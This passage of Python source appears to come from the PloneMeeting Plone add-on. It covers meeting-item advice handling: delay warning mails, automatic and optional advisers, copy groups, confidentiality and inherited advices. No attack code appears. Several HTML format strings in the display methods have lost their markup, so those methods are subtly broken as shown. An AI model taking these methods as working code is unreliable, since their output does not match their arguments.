sendAdviceDelayWarningMailIfRelevant(self, group_id, old_adviceIndex):\n ''' '''\n def _delay_in_alert(adviceInfo, old_adviceInfo):\n \"\"\" \"\"\"\n left_delay = adviceInfo['delay_infos']['left_delay']\n old_left_delay = old_adviceInfo['delay_infos']['left_delay']\n delay_left_alert = adviceInfo['delay_left_alert']\n return (left_delay != old_left_delay) and \\\n (delay_left_alert.isdigit() and\n left_delay >= -1 and\n left_delay <= int(delay_left_alert))\n\n def _just_timed_out(adviceInfo, old_adviceInfo):\n \"\"\" \"\"\"\n return adviceInfo['delay_infos']['delay_status'] == 'timed_out' and \\\n not old_adviceInfo['delay_infos']['delay_status'] == 'timed_out'\n\n # now that new delay is computed, check if we need to send an email notification\n # only notify one time, when 'left_delay' changed and if it is <= 'delay_left_alert'\n # when _updateAdvices is called several times, delay_infos could not exist in old_adviceIndex\n adviceInfo = self.adviceIndex[group_id]\n # first time group_id is added to adviceIndex, it does not exist in old_adviceIndex\n old_adviceInfo = old_adviceIndex.get(group_id, {})\n if adviceInfo.get('delay_infos', {}) and \\\n old_adviceInfo.get('delay_infos', {}) and \\\n not self._advice_is_given(group_id):\n # take also into account freshly expired delays\n just_timed_out = _just_timed_out(adviceInfo, old_adviceInfo)\n if _delay_in_alert(adviceInfo, old_adviceInfo) or just_timed_out:\n tool = api.portal.get_tool('portal_plonemeeting')\n cfg = tool.getMeetingConfig(self)\n left_delay = adviceInfo['delay_infos']['left_delay']\n limit_date = adviceInfo['delay_infos']['limit_date_localized']\n event_id = 'adviceDelayWarning'\n if left_delay == -1 or just_timed_out:\n event_id = 'adviceDelayExpired'\n\n if event_id in cfg.getMailItemEvents():\n plone_group_id = '{0}_advisers'.format(group_id)\n sendMailIfRelevant(\n self,\n event_id,\n [plone_group_id],\n mapping={\n 'left_delay': left_delay,\n 'limit_date': limit_date,\n 'group_name': self.adviceIndex[group_id]['name'],\n 'delay_label': self.adviceIndex[group_id]['delay_label']},\n isGroupIds=True)\n\n def getUnhandledInheritedAdvisersData(self, adviserUids, optional):\n \"\"\" \"\"\"\n predecessor = self.get_predecessor()\n res = []\n for adviserUid in adviserUids:\n # adviserId could not exist if we removed an inherited initiative advice for example\n if not predecessor.adviceIndex.get(adviserUid, None):\n continue\n if (optional and not predecessor.adviceIndex[adviserUid]['optional']):\n continue\n res.append(\n {'org_uid': predecessor.adviceIndex[adviserUid]['id'],\n 'org_title': predecessor.adviceIndex[adviserUid]['name'],\n 'gives_auto_advice_on_help_message':\n predecessor.adviceIndex[adviserUid]['gives_auto_advice_on_help_message'],\n 'row_id': predecessor.adviceIndex[adviserUid]['row_id'],\n 'delay': predecessor.adviceIndex[adviserUid]['delay'],\n 'delay_left_alert': predecessor.adviceIndex[adviserUid]['delay_left_alert'],\n 'delay_label': predecessor.adviceIndex[adviserUid]['delay_label'],\n 'userids': predecessor.adviceIndex[adviserUid].get('userids', [])})\n return res\n\n security.declarePublic('getOptionalAdvisers')\n\n def getOptionalAdvisers(self, computed=False, **kwargs):\n '''Override MeetingItem.optionalAdvisers accessor\n to handle p_computed parameters that will turn a \"__userid__\" value\n to it's corresponding adviser value.'''\n optionalAdvisers = self.getField('optionalAdvisers').get(self)\n if computed:\n res = []\n for adviser in optionalAdvisers:\n if \"__userid__\" in adviser:\n value, user_id = adviser.split(\"__userid__\")\n res.append(value)\n else:\n res.append(adviser)\n optionalAdvisers = res\n return optionalAdvisers\n\n security.declarePublic('getOptionalAdvisersData')\n\n def getOptionalAdvisersData(self):\n '''Get optional advisers but with same format as getAutomaticAdvisersData\n so it can be handled easily by the updateAdvices method.\n We need to return a list of dict with relevant informations.'''\n tool = api.portal.get_tool('portal_plonemeeting')\n cfg = tool.getMeetingConfig(self)\n res = []\n optionalAdvisers = self.getOptionalAdvisers()\n for adviser in self.getOptionalAdvisers(computed=True):\n # if this is a delay-aware adviser, we have the data in the adviser id\n if '__rowid__' in adviser:\n org_uid, row_id = decodeDelayAwareId(adviser)\n customAdviserInfos = cfg._dataForCustomAdviserRowId(row_id)\n delay = customAdviserInfos['delay']\n delay_left_alert = customAdviserInfos['delay_left_alert']\n delay_label = customAdviserInfos['delay_label']\n else:\n org_uid = adviser\n row_id = delay = delay_left_alert = delay_label = ''\n # manage userids\n userids = [optionalAdviser.split('__userid__')[1]\n for optionalAdviser in optionalAdvisers\n if '__userid__' in optionalAdviser and\n optionalAdviser.startswith(adviser)]\n res.append({'org_uid': org_uid,\n 'org_title': get_organization(org_uid).get_full_title(),\n 'gives_auto_advice_on_help_message': '',\n 'row_id': row_id,\n 'delay': delay,\n 'delay_left_alert': delay_left_alert,\n 'delay_label': delay_label,\n 'userids': userids})\n return res\n\n security.declarePublic('getAutomaticAdvisersData')\n\n def getAutomaticAdvisersData(self):\n '''Who are the automatic advisers for this item? We get it by\n evaluating the TAL expression on current MeetingConfig.customAdvisers and checking if\n corresponding group contains at least one adviser.\n The method returns a list of dict containing adviser infos.'''\n extra_expr_ctx = _base_extra_expr_ctx(self)\n cfg = extra_expr_ctx['cfg']\n res = []\n for customAdviser in cfg.getCustomAdvisers():\n # check if there is something to evaluate...\n strippedExprToEvaluate = customAdviser['gives_auto_advice_on'].replace(' ', '')\n if not strippedExprToEvaluate or strippedExprToEvaluate == 'python:False':\n continue\n # respect 'for_item_created_from' and 'for_item_created_until' defined dates\n createdFrom = customAdviser['for_item_created_from']\n createdUntil = customAdviser['for_item_created_until']\n # createdFrom is required but not createdUntil\n if DateTime(createdFrom) > self.created() or \\\n (createdUntil and DateTime(createdUntil) < self.created()):\n continue\n\n # Check that the TAL expression on the group returns True\n eRes = False\n org = get_organization(customAdviser['org'])\n extra_expr_ctx.update({'item': self, 'org': org, 'org_uid': customAdviser['org']})\n eRes = _evaluateExpression(\n self,\n expression=customAdviser['gives_auto_advice_on'],\n roles_bypassing_expression=[],\n extra_expr_ctx=extra_expr_ctx,\n empty_expr_is_true=False,\n error_pattern=AUTOMATIC_ADVICE_CONDITION_ERROR)\n\n if eRes:\n res.append({'org_uid': customAdviser['org'],\n 'org_title': org.get_full_title(),\n 'row_id': customAdviser['row_id'],\n 'gives_auto_advice_on_help_message':\n customAdviser['gives_auto_advice_on_help_message'],\n 'delay': customAdviser['delay'],\n 'delay_left_alert': customAdviser['delay_left_alert'],\n 'delay_label': customAdviser['delay_label'],\n # userids is unhandled for automatic advisers\n 'userids': []})\n # check if the found automatic adviser is not already in the self.adviceIndex\n # but with a manually changed delay, aka\n # 'delay_for_automatic_adviser_changed_manually' is True\n storedCustomAdviser = self.adviceIndex.get(customAdviser['org'], {})\n delay_for_automatic_adviser_changed_manually = \\\n 'delay_for_automatic_adviser_changed_manually' in storedCustomAdviser and \\\n storedCustomAdviser['delay_for_automatic_adviser_changed_manually'] or False\n if storedCustomAdviser and \\\n not storedCustomAdviser['row_id'] == customAdviser['row_id'] and \\\n delay_for_automatic_adviser_changed_manually and \\\n not storedCustomAdviser['optional']:\n # we have an automatic advice for relevant group but not for current row_id\n # check if it is from a linked row in the MeetingConfig.customAdvisers\n isAutomatic, linkedRows = cfg._findLinkedRowsFor(customAdviser['row_id'])\n for linkedRow in linkedRows:\n if linkedRow['row_id'] == customAdviser['row_id']:\n # the found advice was actually linked, we keep it\n # adapt last added dict to res to keep storedCustomAdviser value\n res[-1]['row_id'] = storedCustomAdviser['row_id']\n res[-1]['gives_auto_advice_on_help_message'] = \\\n storedCustomAdviser['gives_auto_advice_on_help_message']\n res[-1]['delay'] = storedCustomAdviser['delay']\n res[-1]['delay_left_alert'] = storedCustomAdviser['delay_left_alert']\n res[-1]['delay_label'] = storedCustomAdviser['delay_label']\n return res\n\n security.declarePrivate('addAutoCopyGroups')\n\n def addAutoCopyGroups(self, isCreated):\n '''What group should be automatically set as copyGroups for this item?\n We get it by evaluating the TAL expression on every active\n organization.as_copy_group_on. The expression returns a list of suffixes\n or an empty list. The method update existing copyGroups and add groups\n prefixed with AUTO_COPY_GROUP_PREFIX.'''\n # empty stored autoCopyGroups\n self.autoCopyGroups = PersistentList()\n extra_expr_ctx = _base_extra_expr_ctx(self)\n cfg = extra_expr_ctx['cfg']\n for org_uid, expr in cfg.get_orgs_with_as_copy_group_on_expression().items():\n extra_expr_ctx.update({'item': self, 'isCreated': isCreated})\n suffixes = _evaluateExpression(\n self,\n expression=expr,\n roles_bypassing_expression=[],\n extra_expr_ctx=extra_expr_ctx,\n empty_expr_is_true=False,\n error_pattern=AS_COPYGROUP_CONDITION_ERROR)\n if not suffixes or not isinstance(suffixes, (tuple, list)):\n continue\n # The expression is supposed to return a list a Plone group suffixes\n # check that the real linked Plone groups are selectable\n for suffix in suffixes:\n if suffix not in get_all_suffixes(org_uid):\n # If the suffix returned by the expression does not exist\n # log it, it is a configuration problem\n logger.warning(AS_COPYGROUP_RES_ERROR.format(suffix, org_uid))\n continue\n plone_group_id = get_plone_group_id(org_uid, suffix)\n auto_plone_group_id = '{0}{1}'.format(AUTO_COPY_GROUP_PREFIX, plone_group_id)\n self.autoCopyGroups.append(auto_plone_group_id)\n\n def _evalAdviceAvailableOn(self, available_on_expr, mayEdit=True):\n \"\"\" \"\"\"\n extra_expr_ctx = _base_extra_expr_ctx(self)\n extra_expr_ctx.update({'item': self, 'mayEdit': mayEdit})\n res = _evaluateExpression(\n self,\n expression=available_on_expr,\n roles_bypassing_expression=[],\n extra_expr_ctx=extra_expr_ctx,\n empty_expr_is_true=True,\n error_pattern=ADVICE_AVAILABLE_ON_CONDITION_ERROR)\n return res\n\n security.declarePrivate('listItemInitiators')\n\n def listItemInitiators(self):\n '''Initiator may be an organization or a held_position.'''\n tool = api.portal.get_tool('portal_plonemeeting')\n cfg = tool.getMeetingConfig(self)\n res = []\n # missing terms\n stored_terms = self.getItemInitiator()\n missing_term_uids = [uid for uid in stored_terms if uid not in cfg.getOrderedItemInitiators()]\n missing_terms = []\n if missing_term_uids:\n missing_terms = uuidsToObjects(missing_term_uids, unrestricted=True)\n for org_or_hp in cfg.getOrderedItemInitiators(theObjects=True) + missing_terms:\n if org_or_hp.portal_type == 'organization':\n res.append((org_or_hp.UID(), org_or_hp.Title()))\n else:\n res.append((org_or_hp.UID(), org_or_hp.get_short_title()))\n return DisplayList(res)\n\n security.declarePrivate('getAdvices')\n\n def getAdvices(self):\n '''Returns a list of contained meetingadvice objects.'''\n res = []\n tool = api.portal.get_tool('portal_plonemeeting')\n advicePortalTypeIds = tool.getAdvicePortalTypeIds()\n for obj in self.objectValues('Dexterity Container'):\n if obj.portal_type in advicePortalTypeIds:\n res.append(obj)\n return res\n\n def _doClearDayFrom(self, date):\n '''Change the given p_date (that is a datetime instance)\n into a clear date, aka change the hours/minutes/seconds to 23:59:59.'''\n return datetime(date.year, date.month, date.day, 23, 59, 59)\n\n security.declarePublic('getAdvicesGroupsInfosForUser')\n\n def getAdvicesGroupsInfosForUser(self,\n compute_to_add=True,\n compute_to_edit=True,\n compute_power_advisers=True):\n '''This method returns 2 lists of groups in the name of which the\n currently logged user may, on this item:\n - add an advice;\n - edit or delete an advice.\n Depending on p_compute_to_add and p_compute_to_edit,\n returned list are computed or left empty.'''\n tool = api.portal.get_tool('portal_plonemeeting')\n cfg = tool.getMeetingConfig(self)\n # Advices must be enabled\n if not cfg.getUseAdvices():\n return ([], [])\n # Logged user must be an adviser\n user_org_uids = tool.get_orgs_for_user(suffixes=['advisers'])\n if not user_org_uids:\n return ([], [])\n # Produce the lists of groups to which the user belongs and for which,\n # - no advice has been given yet (list of advices to add)\n # - an advice has already been given (list of advices to edit/delete).\n toAdd = []\n toEdit = []\n powerAdvisers = cfg.getPowerAdvisersGroups()\n itemState = self.query_state()\n for user_org_uid in user_org_uids:\n if user_org_uid in self.adviceIndex:\n advice = self.adviceIndex[user_org_uid]\n adapted = self.adapted()\n if compute_to_add and advice['type'] == NOT_GIVEN_ADVICE_VALUE and \\\n advice['advice_addable'] and \\\n adapted._adviceIsAddableByCurrentUser(user_org_uid):\n toAdd.append(user_org_uid)\n if compute_to_edit and advice['type'] != NOT_GIVEN_ADVICE_VALUE and \\\n advice['advice_editable'] and \\\n adapted._adviceIsEditableByCurrentUser(user_org_uid):\n toEdit.append(user_org_uid)\n # if not in self.adviceIndex, aka not already given\n # check if group is a power adviser and if he is allowed\n # to add an advice in current item state\n elif compute_to_add and compute_power_advisers and user_org_uid in powerAdvisers:\n # we avoid waking up the organization, we get states using\n # MeetingConfig.getItemAdviceStatesForOrg that is ram.cached\n if itemState in cfg.getItemAdviceStatesForOrg(org_uid=user_org_uid):\n toAdd.append(user_org_uid)\n return (toAdd, toEdit)\n\n def _advicePortalTypeForAdviser(self, org_uid):\n '''See doc in interfaces.py.'''\n tool = api.portal.get_tool('portal_plonemeeting')\n extra_infos = tool.adapted().get_extra_adviser_infos()\n adviser_infos = extra_infos.get(org_uid, {})\n advice_portal_type = adviser_infos.get('portal_type', None)\n return advice_portal_type or 'meetingadvice'\n\n def _adviceTypesForAdviser(self, meeting_advice_portal_type):\n '''See doc in interfaces.py.'''\n item = self.getSelf()\n tool = api.portal.get_tool('portal_plonemeeting')\n cfg = tool.getMeetingConfig(item)\n return cfg.getUsedAdviceTypes()\n\n def _adviceIsViewableForCurrentUser(self,\n cfg,\n is_confidential_power_observer,\n adviceInfo):\n '''\n Returns True if current user may view the advice.\n '''\n # if confidentiality is used and advice is marked as confidential,\n # and current user is not members of the _advisers that gave advice\n # advices could be hidden to power observers and/or restricted power observers\n if cfg.getEnableAdviceConfidentiality() and adviceInfo['isConfidential']:\n advisers_group_id = get_plone_group_id(adviceInfo['id'], 'advisers')\n if advisers_group_id not in get_plone_groups_for_user() and \\\n is_confidential_power_observer:\n return False\n return True\n\n def _shownAdviceTypeFor(self, adviceInfo):\n \"\"\"Return the advice_type to take into account, essentially regarding\n the fact that the advice is 'hidden_during_redaction' or not.\"\"\"\n adviceType = None\n # if the advice is 'hidden_during_redaction', we create a specific advice type\n if not adviceInfo['hidden_during_redaction']:\n adviceType = adviceInfo['type']\n else:\n # check if advice still giveable/editable\n if adviceInfo['advice_editable']:\n adviceType = HIDDEN_DURING_REDACTION_ADVICE_VALUE\n else:\n adviceType = CONSIDERED_NOT_GIVEN_ADVICE_VALUE\n return adviceType\n\n security.declarePublic('getAdvicesByType')\n\n def getAdvicesByType(self, include_not_asked=True, ordered=True):\n '''Returns the list of advices, grouped by type.'''\n res = {}\n tool = api.portal.get_tool('portal_plonemeeting')\n cfg = tool.getMeetingConfig(self)\n is_confidential_power_observer = tool.isPowerObserverForCfg(\n cfg, cfg.getAdviceConfidentialFor())\n for groupId, adviceInfo in self.adviceIndex.iteritems():\n if not include_not_asked and adviceInfo['not_asked']:\n continue\n # make sure we do not modify original data\n adviceInfo = deepcopy(adviceInfo)\n\n # manage inherited advice\n if adviceInfo['inherited']:\n # make sure we do not modify original data, use .copy()\n adviceInfo = self.getInheritedAdviceInfo(groupId)\n adviceInfo['inherited'] = True\n # Create the entry for this type of advice if not yet created.\n # first check if current user may access advice, aka advice is not confidential to him\n if not self._adviceIsViewableForCurrentUser(\n cfg, is_confidential_power_observer, adviceInfo):\n continue\n\n adviceType = self._shownAdviceTypeFor(adviceInfo)\n if adviceType not in res:\n res[adviceType] = advices = []\n else:\n advices = res[adviceType]\n advices.append(adviceInfo.__dict__['data'])\n if ordered:\n ordered_res = {}\n\n def getKey(advice_info):\n return advice_info['name']\n for advice_type, advice_infos in res.items():\n ordered_res[advice_type] = sorted(advice_infos, key=getKey)\n res = ordered_res\n return res\n\n def couldInheritAdvice(self, adviserId, dry_run=False):\n \"\"\"For given p_adivserId, could it be set to 'inherited'?\n Not possible if advice already given.\"\"\"\n if not self.getInheritedAdviceInfo(adviserId, checkIsInherited=False):\n return False\n return True\n\n security.declarePublic('getInheritedAdviceInfo')\n\n def getInheritedAdviceInfo(self, adviserId, checkIsInherited=True):\n \"\"\"Return the eventual inherited advice (original advice) for p_adviserId.\n If p_checkIsInherited is True, it will check that current advice is actually inherited,\n otherwise, it will not check and return the potential inherited advice.\"\"\"\n res = None\n predecessor = self.get_predecessor()\n if not predecessor:\n return res\n\n inheritedAdviceInfo = deepcopy(predecessor.adviceIndex.get(adviserId))\n while (predecessor and\n predecessor.adviceIndex.get(adviserId) and\n predecessor.adviceIndex[adviserId]['inherited']):\n predecessor = predecessor.get_predecessor()\n inheritedAdviceInfo = deepcopy(predecessor.adviceIndex.get(adviserId))\n\n res = inheritedAdviceInfo\n res['adviceHolder'] = predecessor\n return res\n\n security.declarePublic('getGivenAdvices')\n\n def getGivenAdvices(self):\n '''Returns the list of advices that has already been given by\n computing a data dict from contained meetingadvices.'''\n # for now, only contained elements in a MeetingItem of\n # meta_type 'Dexterity Container' are meetingadvices...\n res = {}\n tool = api.portal.get_tool('portal_plonemeeting')\n cfg = tool.getMeetingConfig(self)\n for advice in self.getAdvices():\n optional = True\n gives_auto_advice_on_help_message = delay = delay_left_alert = delay_label = ''\n # find the relevant row in customAdvisers if advice has a row_id\n if advice.advice_row_id:\n customAdviserConfig = cfg._dataForCustomAdviserRowId(advice.advice_row_id)\n # cfg._findLinkedRowsFor returns as first element the fact that it is an automatic advice or not\n optional = not cfg._findLinkedRowsFor(advice.advice_row_id)[0]\n gives_auto_advice_on_help_message = customAdviserConfig['gives_auto_advice_on_help_message'] or ''\n delay = customAdviserConfig['delay'] or ''\n delay_left_alert = customAdviserConfig['delay_left_alert'] or ''\n delay_label = customAdviserConfig['delay_label'] or ''\n advice_given_on = advice.get_advice_given_on()\n res[advice.advice_group] = {'type': advice.advice_type,\n 'optional': optional,\n 'not_asked': False,\n 'id': advice.advice_group,\n 'name': get_organization(advice.advice_group).get_full_title(),\n 'advice_id': advice.getId(),\n 'advice_uid': advice.UID(),\n 'comment': advice.advice_comment and advice.advice_comment.output,\n 'observations':\n advice.advice_observations and advice.advice_observations.output,\n 'reference': advice.advice_reference,\n 'row_id': advice.advice_row_id,\n 'gives_auto_advice_on_help_message': gives_auto_advice_on_help_message,\n 'delay': delay,\n 'delay_left_alert': delay_left_alert,\n 'delay_label': delay_label,\n 'advice_given_on': advice_given_on,\n 'advice_given_on_localized':\n self.toLocalizedTime(advice_given_on),\n 'hidden_during_redaction': advice.advice_hide_during_redaction,\n }\n return res\n\n security.declarePublic('displayOtherMeetingConfigsClonableTo')\n\n def displayOtherMeetingConfigsClonableTo(self):\n '''Display otherMeetingConfigsClonableTo with eventual\n emergency and privacy informations.'''\n tool = api.portal.get_tool('portal_plonemeeting')\n vocab = get_vocab(self, 'Products.PloneMeeting.vocabularies.other_mcs_clonable_to_vocabulary')\n\n # emergency\n emergency_msg = translate('Emergency while presenting in other MC',\n domain='PloneMeeting',\n context=self.REQUEST)\n # privacy\n secret_msg = translate('secret',\n domain='PloneMeeting',\n context=self.REQUEST)\n public_msg = translate('public',\n domain='PloneMeeting',\n context=self.REQUEST)\n\n # effective/theorical meeting informations\n effective_meeting_msg = translate('effective_meeting_help',\n domain='PloneMeeting',\n context=self.REQUEST)\n theorical_meeting_msg = translate('theorical_meeting_help',\n domain='PloneMeeting',\n context=self.REQUEST)\n no_meeting_available_msg = translate('no_meeting_available',\n domain='PloneMeeting',\n context=self.REQUEST)\n portal_url = api.portal.get().absolute_url()\n\n res = []\n for otherMC in self.getOtherMeetingConfigsClonableTo():\n isSecret = otherMC in self.getOtherMeetingConfigsClonableToPrivacy()\n cfgTitle = safe_unicode(vocab.getTermByToken(otherMC).title)\n displayEmergency = False\n displayPrivacy = False\n if otherMC in self.getOtherMeetingConfigsClonableToEmergency():\n displayEmergency = True\n if self.attribute_is_used('otherMeetingConfigsClonableToPrivacy'):\n displayPrivacy = True\n\n emergencyAndPrivacyInfos = []\n if displayEmergency:\n emergencyAndPrivacyInfos.append(\n u\"{0}\".format(emergency_msg))\n if displayPrivacy:\n privacyInfo = u\"{1}\".format(\n isSecret and 'secret' or 'public',\n isSecret and secret_msg or public_msg)\n emergencyAndPrivacyInfos.append(privacyInfo)\n\n # if sendable, display logical meeting into which it could be presented\n # if already sent, just display the \"sent\" information\n LOGICAL_DATE_PATTERN = u\" {2}\"\n clonedItem = self.getItemClonedToOtherMC(otherMC)\n if not clonedItem or not clonedItem.hasMeeting():\n logicalMeeting = self._otherMCMeetingToBePresentedIn(getattr(tool, otherMC))\n if logicalMeeting:\n logicalMeetingLink = logicalMeeting.get_pretty_link()\n else:\n logicalMeetingLink = no_meeting_available_msg\n iconName = 'greyedMeeting.png'\n title_help_msg = theorical_meeting_msg\n else:\n clonedItemMeeting = clonedItem.getMeeting()\n logicalMeetingLink = clonedItemMeeting.get_pretty_link()\n iconName = 'Meeting.png'\n title_help_msg = effective_meeting_msg\n\n logicalDateInfo = LOGICAL_DATE_PATTERN.format('/'.join((portal_url, iconName)),\n title_help_msg,\n logicalMeetingLink)\n\n tmp = u\"{0} ({1})\".format(cfgTitle, \" - \".join(emergencyAndPrivacyInfos + [logicalDateInfo]))\n res.append(tmp)\n return u\", \".join(res) or \"-\"\n\n def displayOtherMeetingConfigsClonableToPossibleValues(self):\n '''Display otherMeetingConfigsClonableTo possible values.'''\n vocab = get_vocab(self, 'Products.PloneMeeting.vocabularies.other_mcs_clonable_to_vocabulary')\n return u\", \".join([safe_unicode(term.title) for term in vocab._terms]) or \"-\"\n\n security.declarePublic('showAdvices')\n\n def showAdvices(self):\n \"\"\"This controls if advices need to be shown on the item view.\"\"\"\n item = self.getSelf()\n\n # something in adviceIndex?\n if bool(item.adviceIndex):\n return True\n\n # MeetingConfig using advices?\n tool = api.portal.get_tool('portal_plonemeeting')\n cfg = tool.getMeetingConfig(item)\n if cfg.getUseAdvices():\n return True\n\n return False\n\n def _realCopyGroupId(self, groupId):\n \"\"\"Return the real group id, especially if given p_groupId\n is an auto copy group.\"\"\"\n return groupId.split(AUTO_COPY_GROUP_PREFIX)[-1]\n\n security.declarePublic('displayCopyGroups')\n\n def displayCopyGroups(self):\n '''Display copy groups on the item view, especially the link showing users of a group.'''\n portal_url = api.portal.get().absolute_url()\n copyGroupsVocab = get_vocab(\n self,\n self.getField('copyGroups').vocabulary_factory,\n **{'include_auto': True, })\n res = []\n allCopyGroups = self.getAllCopyGroups()\n for term in copyGroupsVocab._terms:\n if term.value not in allCopyGroups:\n continue\n # auto copyGroups are prefixed with AUTO_COPY_GROUP_PREFIX\n real_group_id = self._realCopyGroupId(term.value)\n res.append(u'{0} {1}'.format(\n # highlight [auto]\n term.title.replace(\n u'[auto]',\n u'[auto]'.format(\n translate('This copy group was set automatically by the application',\n domain='PloneMeeting',\n context=self.REQUEST))),\n u\"\"\n u\"\"\n .format(real_group_id, portal_url)))\n return u', '.join(res)\n\n def _displayAdviserUsers(self, userids, portal_url, tool):\n \"\"\" \"\"\"\n userid_pattern = u'{2}'\n rendered_users = []\n help_msg = translate(\"adviser_userid_notified\",\n domain=\"PloneMeeting\",\n context=self.REQUEST)\n for userid in userids:\n rendered_users.append(\n userid_pattern.format(\n escape(help_msg),\n portal_url,\n safe_unicode(tool.getUserName(userid))))\n res = u\", \".join(rendered_users)\n return res\n\n security.declarePublic('displayAdvisers')\n\n def displayAdvisers(self):\n '''Display advisers on the item view, especially the link showing users of a group.'''\n\n portal_url = api.portal.get().absolute_url()\n tool = api.portal.get_tool('portal_plonemeeting')\n\n def _get_adviser_name(adviser):\n \"\"\"Manage adviser name, will append selected __userid__ if any.\"\"\"\n name = html.escape(adviser['name'])\n if adviser['delay_label']:\n name += u\" - {0} ({1})\".format(\n safe_unicode(html.escape(adviser['delay_label'])),\n safe_unicode(adviser['delay']))\n if adviser['userids']:\n name += u\" ({0})\".format(\n self._displayAdviserUsers(adviser['userids'], portal_url, tool))\n return name\n\n advisers_by_type = self.getAdvicesByType(include_not_asked=False)\n res = []\n auto_advice = u' [auto]'.format(\n translate('This advice was asked automatically by the application',\n domain='PloneMeeting',\n context=self.REQUEST))\n for advice_type, advisers in advisers_by_type.items():\n for adviser in advisers:\n adviser_name = _get_adviser_name(adviser)\n value = u\"{0} \" \\\n u\"\".format(\n adviser_name + (not adviser['optional'] and auto_advice or u''),\n get_plone_group_id(adviser['id'], 'advisers'),\n portal_url)\n res.append(value)\n return u', '.join(res)\n\n security.declarePublic('hasAdvices')\n\n def hasAdvices(self, toGive=False, adviceIdsToBypass={}):\n '''Is there at least one given advice on this item?\n If p_toGive is True, it contrary returns if there\n is still an advice to be given.\n If some p_adviceIdsToBypass are given, these will not be taken\n into account as giveable.\n p_adviceIdsToBypass is a dict containing the advice to give as\n key and the fact that advice is optional as value, so :\n {'adviser_group_id': True}.'''\n for advice in self.adviceIndex.itervalues():\n if advice['id'] in adviceIdsToBypass and \\\n adviceIdsToBypass[advice['id']] == advice['optional']:\n continue\n if (toGive and advice['type'] in (NOT_GIVEN_ADVICE_VALUE, 'asked_again')) or \\\n (not toGive and not advice['type'] in (NOT_GIVEN_ADVICE_VALUE, 'asked_again')):\n return True\n\n return False\n\n security.declarePublic('hasAdvices')\n\n def hasAdvice(self, org_uid):\n '''Returns True if someone from p_groupId has given an advice on this item.'''\n if (org_uid in self.adviceIndex) and \\\n (self.adviceIndex[org_uid]['type'] != NOT_GIVEN_ADVICE_VALUE):\n return True\n\n security.declarePublic('willInvalidateAdvices')\n\n def willInvalidateAdvices(self):\n '''Returns True if at least one advice has been defined on this item\n and advice invalidation has been enabled in the meeting\n configuration.'''\n if self.isTemporary():\n return False\n tool = api.portal.get_tool('portal_plonemeeting')\n cfg = tool.getMeetingConfig(self)\n if cfg.getEnableAdviceInvalidation() and self.hasAdvices() \\\n and (self.query_state() in cfg.getItemAdviceInvalidateStates()):\n return True\n return False\n\n security.declarePrivate('enforceAdviceMandatoriness')\n\n def enforceAdviceMandatoriness(self):\n '''Checks in the configuration if we must enforce advice mandatoriness.'''\n tool = api.portal.get_tool('portal_plonemeeting')\n meetingConfig = tool.getMeetingConfig(self)\n if meetingConfig.getUseAdvices() and \\\n meetingConfig.getEnforceAdviceMandatoriness():\n return True\n return False\n\n security.declarePrivate('mandatoryAdvicesAreOk')\n\n def mandatoryAdvicesAreOk(self):\n '''Returns True if all mandatory advices for this item have been given and are all positive.'''\n if not hasattr(self, 'isRecurringItem'):\n for advice in self.adviceIndex.itervalues():\n if not advice['optional'] and \\\n not advice['type'].startswith('positive'):\n return False\n return True\n\n security.declarePublic('getAdviceDataFor')\n\n def getAdviceDataFor(self,\n item,\n adviser_uid=None,\n hide_advices_under_redaction=True,\n show_hidden_advice_data_to_group_advisers=True,\n ordered=False):\n '''Returns data info for given p_adviser_uid adviser uid.\n If no p_adviser_uid is given, every advice infos are returned.\n If p_hide_advices_under_redaction is True, we hide relevant informations of\n advices hidden during redaction but if p_show_hidden_advice_data_to_group_advisers\n is True, the advisers of the hidden advices will see the data.\n We receive p_item as the current item to be sure that this public\n method can not be called thru the web (impossible to pass an object as parameter),\n but it is still callable using a Script (Python) or useable in a TAL expression...\n If ordered=True, return an OrderedDict sorted by adviser name.'''\n if not isinstance(item, MeetingItem) or not item.UID() == self.UID():\n raise Unauthorized\n\n data = {}\n tool = api.portal.get_tool('portal_plonemeeting')\n adviser_org_uids = tool.get_orgs_for_user(suffixes=['advisers'])\n for adviceInfo in self.adviceIndex.values():\n advId = adviceInfo['id']\n # if advice is inherited get real adviceInfo\n if adviceInfo['inherited']:\n adviceInfo = self.getInheritedAdviceInfo(advId)\n adviceInfo['inherited'] = True\n # turn adviceInfo PersistentMapping into a dict\n data[advId] = dict(adviceInfo)\n # hide advice data if relevant\n if hide_advices_under_redaction and \\\n data[advId][HIDDEN_DURING_REDACTION_ADVICE_VALUE] and \\\n (not show_hidden_advice_data_to_group_advisers or\n (show_hidden_advice_data_to_group_advisers and\n advId not in adviser_org_uids)):\n advice_type = self._shownAdviceTypeFor(adviceInfo)\n if advice_type == HIDDEN_DURING_REDACTION_ADVICE_VALUE:\n msgid = 'advice_hidden_during_redaction_help'\n else:\n msgid = 'advice_hidden_during_redaction_considered_not_given_help'\n data[advId]['type'] = advice_type\n msg = translate(\n msgid=msgid,\n domain='PloneMeeting',\n context=self.REQUEST)\n data[advId]['comment'] = msg\n data[advId]['observations'] = msg\n\n # optimize some saved data\n data[advId]['type_translated'] = translate(data[advId]['type'],\n domain='PloneMeeting',\n context=self.REQUEST)\n # add meetingadvice object if given\n adviceHolder = adviceInfo.get('adviceHolder', self)\n given_advice = adviceHolder.getAdviceObj(advId)\n data[advId]['given_advice'] = given_advice\n data[advId]['creator_id'] = None\n data[advId]['creator_fullname'] = None\n if given_advice:\n creator_id = given_advice.Creator()\n creator_fullname = tool.getUserName(creator_id)\n data[advId]['creator_id'] = creator_id\n data[advId]['creator_fullname'] = creator_fullname\n\n if adviser_uid:\n data = data.get(adviser_uid, {})\n\n if ordered and data:\n # sort by adviser name\n data_as_list = data.items()\n data_as_list.sort(key=lambda x: x[1]['name'])\n data = OrderedDict(data_as_list)\n return data\n\n def getAdviceObj(self, adv_uid):\n \"\"\"Return the advice object for given p_adv_uid.\n If advice object does not exist, None is returned.\"\"\"\n adviceObj = None\n advices = self.getAdvices()\n # get the advice without using self.adviceIndex because\n # getAdviceObj may be called during self.adviceIndex computation\n for advice in advices:\n if advice.advice_group == adv_uid:\n adviceObj = advice\n break\n return adviceObj\n\n def _grantPermissionToRole(self, permission, role_to_give, obj):\n \"\"\"\n Grant given p_permission to given p_role_to_give on given p_obj.\n If p_obj is None, w\n \"\"\"\n roles = rolesForPermissionOn(permission, obj)\n if role_to_give not in roles:\n # cleanup roles as the permission is also returned with a leading '_'\n roles = [role for role in roles if not role.startswith('_')]\n roles = roles + [role_to_give, ]\n obj.manage_permission(permission, roles)\n\n def _removePermissionToRole(self, permission, role_to_remove, obj):\n \"\"\"Remove given p_permission to given 